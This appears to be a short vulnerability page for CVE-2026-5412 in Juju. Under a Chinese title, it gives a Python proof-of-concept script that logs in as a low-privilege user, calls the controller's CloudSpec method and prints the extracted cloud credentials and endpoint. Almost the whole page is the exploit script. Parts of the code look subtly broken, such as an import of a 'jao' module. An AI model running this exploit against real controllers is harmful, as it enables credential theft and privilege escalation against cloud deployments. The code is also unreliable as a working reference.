CVE-2026-5412 Juju权限提升与凭证泄露漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-5412 Demonstrates credential extraction via CloudSpec API. """ import asyncio from juju import jao from juju.client import client async def get_cloud_spec(controller_addr, username, password): # Connect to the Juju Controller conn = await jao.connect(controller_addr) try: # Login with low-privilege user credentials await conn.login(username, password) # Access the vulnerable Controller facade # The vulnerability allows low-priv users to call this controller_facade = client.ControllerFacade.from_connection(conn) print("[*] Attempting to retrieve CloudSpec...") # Call the CloudSpec method which exposes credentials in vulnerable versions cloud_spec = await controller_facade.CloudSpec() print("[+] Success! Extracted sensitive cloud credentials:") print(f"Cloud Credential: {cloud_spec['cloud_credential']}") print(f"Endpoint: {cloud_spec['endpoint']}") return cloud_spec except Exception as e: print(f"[-] Exploit failed: {e}") finally: await conn.close() if __name__ == "__main__": # Example usage # asyncio.run(get_cloud_spec("wss://10.0.0.1:17070", "low_user", "pass123")) pass